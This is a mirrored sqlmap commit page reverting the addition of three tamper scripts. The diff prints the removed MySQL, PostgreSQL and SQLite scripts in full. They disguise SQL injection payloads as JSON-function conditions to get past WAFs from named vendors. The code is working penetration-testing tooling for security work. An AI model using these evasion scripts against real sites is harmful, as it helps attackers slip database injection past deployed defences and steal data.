mirror of
https://github.com/sqlmapproject/sqlmap.git
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Revert "JSON WAF bypass tamper scripts (#5260)"
This reverts commit 12e3ed14ae.
This commit is contained in:
Miroslav Stampar
GitHub
parent
12e3ed14ae
commit
648c2113dd
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@ -789,9 +789,6 @@ x, <deep_freeze(at)mail.ru>
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zhouhx, <zhouhx(at)knownsec.com>
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* for contributing a minor patch
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Noam Moshe Claroty Team82
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* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
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# Organizations
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Black Hat team, <info(at)blackhat.com>
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@ -1,163 +0,0 @@
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
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pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
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import re, random, string
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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# Possible int payloads:
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# 1) JSON_LENGTH()
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# 2) json_depth
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# 3) JSON_EXTRACT()
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def generate_int_payload():
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INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
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return (random.choice(INT_FUNCTIONS))()
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# Possible STR payloads:
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# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
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# 2) JSON_EXTRACT
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# 3) JSON_QUOTE('null')
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def generate_str_payload():
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print("generate_str_payload")
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STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
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return (random.choice(STR_FUNCTIONS))()
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return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
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def generate_random_string(length=15):
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str_length = random.randint(1,length)
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return "".join(random.choice(string.ascii_letters) for i in range(str_length))
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def generate_random_int():
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return random.randint(2, 10000)
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def generate_length_payload():
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return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
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def generate_depth_paylod():
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return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
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def generate_quote_payload():
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var = generate_random_string()
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return f"JSON_QUOTE('{var}') = '\"{var}\"'"
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def generate_int_extract_payload():
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return generate_extract_payload(isString=False)
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def generate_str_extract_payload():
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return generate_extract_payload(isString=True)
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def generate_extract_payload(isString=False):
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key = generate_random_string()
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if isString:
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value = generate_random_string()
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return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
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value = generate_random_int()
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return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
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def generate_payload(isString, isBrackets):
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payload = '(' if isBrackets else ""
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if isString:
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payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
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else:
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payload += generate_int_payload()
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return payload
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def generate_random_payload():
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if random.randint(0,1):
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return generate_str_payload()
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return generate_int_payload()
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def tamper(payload, **kwargs):
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"""
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Bypasses generic WAFs using JSON SQL Syntax.
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For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
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Tested against:
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* MySQL v8.0 - however every version after v5.7.8 should work
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Usage:
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python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py
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Notes:
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* References:
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* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
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* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
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* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
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* JSON techniques were tested againts the following WAF vendors:
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* Amazon AWS ELB
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* CloudFlare
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* F5 BIG-IP
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* Palo-Alto Next Generation Firewall
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* Imperva Firewall
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* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
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depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
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Possible int payloads:
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1) JSON_LENGTH()
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2) json_depth
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3) JSON_EXTRACT()
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Possible STR payloads:
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1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
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2) JSON_EXTRACT
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3) JSON_QUOTE('null')
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>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
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''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
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>>> tamper('and 4515=8950--')
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''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
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"""
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payload = payload.replace(r'%20', " ")
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#
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retVal = payload
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if payload:
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match = re.search(pattern, payload)
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if match:
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pre = match.group('pre')
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# Is our payload is a string.
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isString = pre.startswith("'")
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isBrackets = pre.startswith("')") or pre.startswith(")")
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wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
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retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
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else:
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if payload.lower().startswith("' union"):
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wafPayload = generate_random_payload()
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retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
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return retVal
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@ -1,237 +0,0 @@
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
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pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
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pattern_extract_value = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<extractValueRest>EXTRACTVALUE.*)"
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pattern_when_where = r"(?i)(?P<pre>.*)\s*\b(?P<condition>WHERE|WHEN)\b\s*(?P<rest>.*)"
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pattern_replace_case = r"(?i)(?P<all>\(select.*when\s*\((?P<leftComp>.*?)=(?P<rightComp>.*?)\).*?then\s*(?P<firstCase>\(.*?\))\s*else\s*(?P<secondCase>\(.*?\)).*?end\)\))"
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import re, random, string
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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# Possible int payloads:
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# 1) #>>
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# 2) @>
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# 3) ->> (index)
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# 4) ->> (str)
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def generate_int_payload():
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INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
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return (random.choice(INT_FUNCTIONS))()
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# Possible str payloads:
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# 1) ->> (str)
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# 2) ->> (index)
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# 3) #>>
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def generate_str_payload():
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STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
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return (random.choice(STR_FUNCTIONS))()
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def generate_random_string(length=15):
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str_length = random.randint(1,length)
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return "".join(random.choice(string.ascii_letters) for i in range(str_length))
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def generate_random_int():
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return random.randint(2, 10000)
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def generate_element_by_id_payload(isString):
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random_generator = generate_random_string if isString else generate_random_int
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values = []
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for i in range(3):
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values.append(random_generator())
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random_index = random.randint(0,2)
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if isString:
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return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
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return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
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def generate_element_by_id_int_payload():
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return generate_element_by_id_payload(isString=False)
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def generate_element_by_id_str_payload():
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return generate_element_by_id_payload(isString=True)
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def generate_element_by_key_payload(isString):
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random_generator = generate_random_string if isString else generate_random_int
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keys = []
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values = []
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for i in range(3):
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keys.append(generate_random_string()) # Json must always have a string as a value
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values.append(random_generator())
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random_index = random.randint(0, 2)
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if isString:
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return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
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return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
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def generate_element_by_key_int_payload():
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return generate_element_by_key_payload(isString=False)
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def generate_element_by_key_str_payload():
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return generate_element_by_key_payload(isString=True)
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def generate_element_by_hashtag_payload(isString):
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random_generator = generate_random_string if isString else generate_random_int
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keys = []
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values = []
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for i in range(3):
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keys.append(generate_random_string()) # Json must always have a string as a value
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values.append(random_generator())
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random_index = random.randint(0, 2)
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if isString:
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return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
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return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
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def generate_element_by_hashtag_int_payload():
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return generate_element_by_hashtag_payload(isString=False)
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def generate_element_by_hashtag_str_payload():
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return generate_element_by_hashtag_payload(isString=True)
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def generate_json_left_contains_payload():
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keys = []
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values = []
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for i in range(3):
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keys.append(generate_random_string()) # Json must always have a string as a value
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values.append(generate_random_int())
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random_index = random.randint(0, 2)
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return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
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def generate_payload(isString, isBrackets):
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payload = '(' if isBrackets else ""
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if isString:
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payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
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else:
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payload += generate_int_payload()
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return payload
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def generate_random_payload():
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if random.randint(0,1):
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return generate_str_payload()
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return generate_int_payload()
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def tamper(payload, **kwargs):
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"""
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Bypasses generic WAFs using JSON SQL Syntax.
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For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
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Tested against:
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* PostgreSQL v15.0 - however every version after v9.2 should work
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Usage:
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python3 sqlmap.py <TARGET> --tamper json_waf_bypass_postgres.py
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Notes:
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* References:
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* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
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* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
|
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* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
|
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* JSON techniques were tested againts the following WAF vendors:
|
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* Amazon AWS ELB
|
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* CloudFlare
|
||||
* F5 BIG-IP
|
||||
* Palo-Alto Next Generation Firewall
|
||||
* Imperva Firewall
|
||||
|
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* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
|
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depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
|
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|
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Possible int payloads:
|
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1) #>>
|
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2) @>
|
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3) ->> (index)
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4) ->> (str)
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Possible str payloads:
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1) ->> (str)
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2) ->> (index)
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3) #>>
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>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
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''' ' and 5626=9709 and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
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>>> tamper('and 4515=8950')
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''' and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
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"""
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payload = payload.replace(r'%20', " ") # Fix regex for later
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payload = payload.lower().replace("union all", "union") # Replace union all with union in order to bypass many common WAFs
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bad_string_match = re.search(r"(from \(select \d+)", payload) # Replaces suffix identified by many WAFs
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if bad_string_match:
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payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
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retVal = payload
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if payload:
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match = re.search(pattern, payload)
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if match:
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pre = match.group('pre')
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# Is our payload a string.
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isString = pre.startswith("'")
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isBrackets = pre.startswith("')") or pre.startswith(")")
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wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
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retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
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elif payload.lower().startswith("' union"): # Increase evasiveness in union payloads
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wafPayload = generate_random_payload()
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retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
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else:
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extract_value_match = re.search(pattern_extract_value, payload)
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if extract_value_match: # Replaces extractvalue because many WAFs target it
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wafPayload = generate_random_payload()
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retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
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else:
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condition_match = re.match(pattern_when_where, payload)
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if condition_match: # Replaces when/where payloads with regular payloads because many WAFs target this keywords
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wafPayload = generate_random_payload()
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retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
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case_match = re.search(pattern_replace_case, retVal)
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if case_match: # Replaces case statements because many WAFs target this syntax
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# Check if the case statement expects the left or right option
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if case_match.group("leftComp") == case_match.group("rightComp"):
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retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
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else:
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retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
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return retVal
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@ -1,178 +0,0 @@
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#!/usr/bin/env python
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||||
|
||||
"""
|
||||
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
|
||||
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
|
||||
import re, random, string
|
||||
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.HIGHEST
|
||||
DEBUG = False
|
||||
|
||||
|
||||
def dependencies():
|
||||
pass
|
||||
|
||||
|
||||
# Possible int payloads:
|
||||
# 1) JSON_LENGTH()
|
||||
# 2) json_depth
|
||||
# 3) JSON_EXTRACT()
|
||||
# 3) JSON_EXTRACT operator
|
||||
|
||||
def generate_int_payload():
|
||||
INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
|
||||
return (random.choice(INT_FUNCTIONS))()
|
||||
|
||||
|
||||
# Possible STR payloads:
|
||||
# 2) JSON_EXTRACT
|
||||
# 2) JSON_EXTRACT Operator
|
||||
# 3) JSON_QUOTE('null')
|
||||
|
||||
def generate_str_payload():
|
||||
STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
|
||||
return (random.choice(STR_FUNCTIONS))()
|
||||
|
||||
|
||||
def generate_random_string(length=15):
|
||||
str_length = random.randint(1, length)
|
||||
return "".join(random.choice(string.ascii_letters) for i in range(str_length))
|
||||
|
||||
|
||||
def generate_random_int():
|
||||
return random.randint(2, 10000)
|
||||
|
||||
|
||||
def generate_length_payload():
|
||||
rand_int = generate_random_int()
|
||||
return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
|
||||
|
||||
|
||||
def generate_quote_payload():
|
||||
var = generate_random_string()
|
||||
return f"JSON_QUOTE('{var}') = '\"{var}\"'"
|
||||
|
||||
|
||||
def generate_int_extract_payload():
|
||||
return generate_extract_payload(isString=False)
|
||||
|
||||
|
||||
def generate_str_extract_payload():
|
||||
return generate_extract_payload(isString=True)
|
||||
|
||||
|
||||
def generate_int_extract_operator_payload():
|
||||
return generate_extract_operator_payload(isString=False)
|
||||
|
||||
|
||||
def generate_str_extract_operator_payload():
|
||||
return generate_extract_operator_payload(isString=True)
|
||||
|
||||
|
||||
def generate_extract_payload(isString=False):
|
||||
key = generate_random_string()
|
||||
if isString:
|
||||
value = generate_random_string()
|
||||
return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
|
||||
value = generate_random_int()
|
||||
return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
|
||||
|
||||
|
||||
def generate_extract_operator_payload(isString=False):
|
||||
|
||||
key = generate_random_string()
|
||||
if isString:
|
||||
value = generate_random_string()
|
||||
return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
|
||||
value = generate_random_int()
|
||||
return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
|
||||
|
||||
|
||||
def generate_payload(isString, isBrackets):
|
||||
payload = '(' if isBrackets else ""
|
||||
if isString:
|
||||
payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
|
||||
else:
|
||||
payload += generate_int_payload()
|
||||
|
||||
return payload
|
||||
|
||||
|
||||
def generate_random_payload():
|
||||
if random.randint(0, 1):
|
||||
return generate_str_payload()
|
||||
return generate_int_payload()
|
||||
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
|
||||
Bypasses generic WAFs using JSON SQL Syntax.
|
||||
|
||||
For more details about JSON in SQLite - https://www.sqlite.org/json1.html
|
||||
|
||||
Tested against:
|
||||
* SQLite v3.39.4 - however every version after v3.38.0 should work
|
||||
|
||||
Usage:
|
||||
python3 sqlmap.py <TARGET> --tamper json_waf_bypass_sqlite.py
|
||||
|
||||
Notes:
|
||||
|
||||
* References:
|
||||
* https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
|
||||
* https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
|
||||
* Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
|
||||
* JSON techniques were tested againts the following WAF vendors:
|
||||
* Amazon AWS ELB
|
||||
* CloudFlare
|
||||
* F5 BIG-IP
|
||||
* Palo-Alto Next Generation Firewall
|
||||
* Imperva Firewall
|
||||
|
||||
* This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
|
||||
depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
|
||||
|
||||
Possible int payloads:
|
||||
1) JSON_LENGTH()
|
||||
2) json_depth
|
||||
3) JSON_EXTRACT()
|
||||
3) JSON_EXTRACT operator
|
||||
|
||||
Possible STR payloads:
|
||||
2) JSON_EXTRACT
|
||||
2) JSON_EXTRACT Operator
|
||||
3) JSON_QUOTE('null')
|
||||
|
||||
>>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
|
||||
''' ' and 5626=9709 and JSON_QUOTE('UG') = '"UG" '''
|
||||
>>> tamper('and 4515=8950')
|
||||
''' and JSON_ARRAY_LENGTH("[]") <= 9100 '''
|
||||
"""
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
match = re.search(pattern, payload)
|
||||
|
||||
if match:
|
||||
pre = match.group('pre')
|
||||
|
||||
# Is our payload is a string.
|
||||
isString = pre.startswith("'")
|
||||
isBrackets = pre.startswith("')") or pre.startswith(")")
|
||||
wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
|
||||
retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
|
||||
|
||||
else:
|
||||
|
||||
if payload.lower().startswith("' union"):
|
||||
wafPayload = generate_random_payload()
|
||||
retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
|
||||
|
||||
return retVal
|
||||
Loading…
Reference in New Issue
Block a user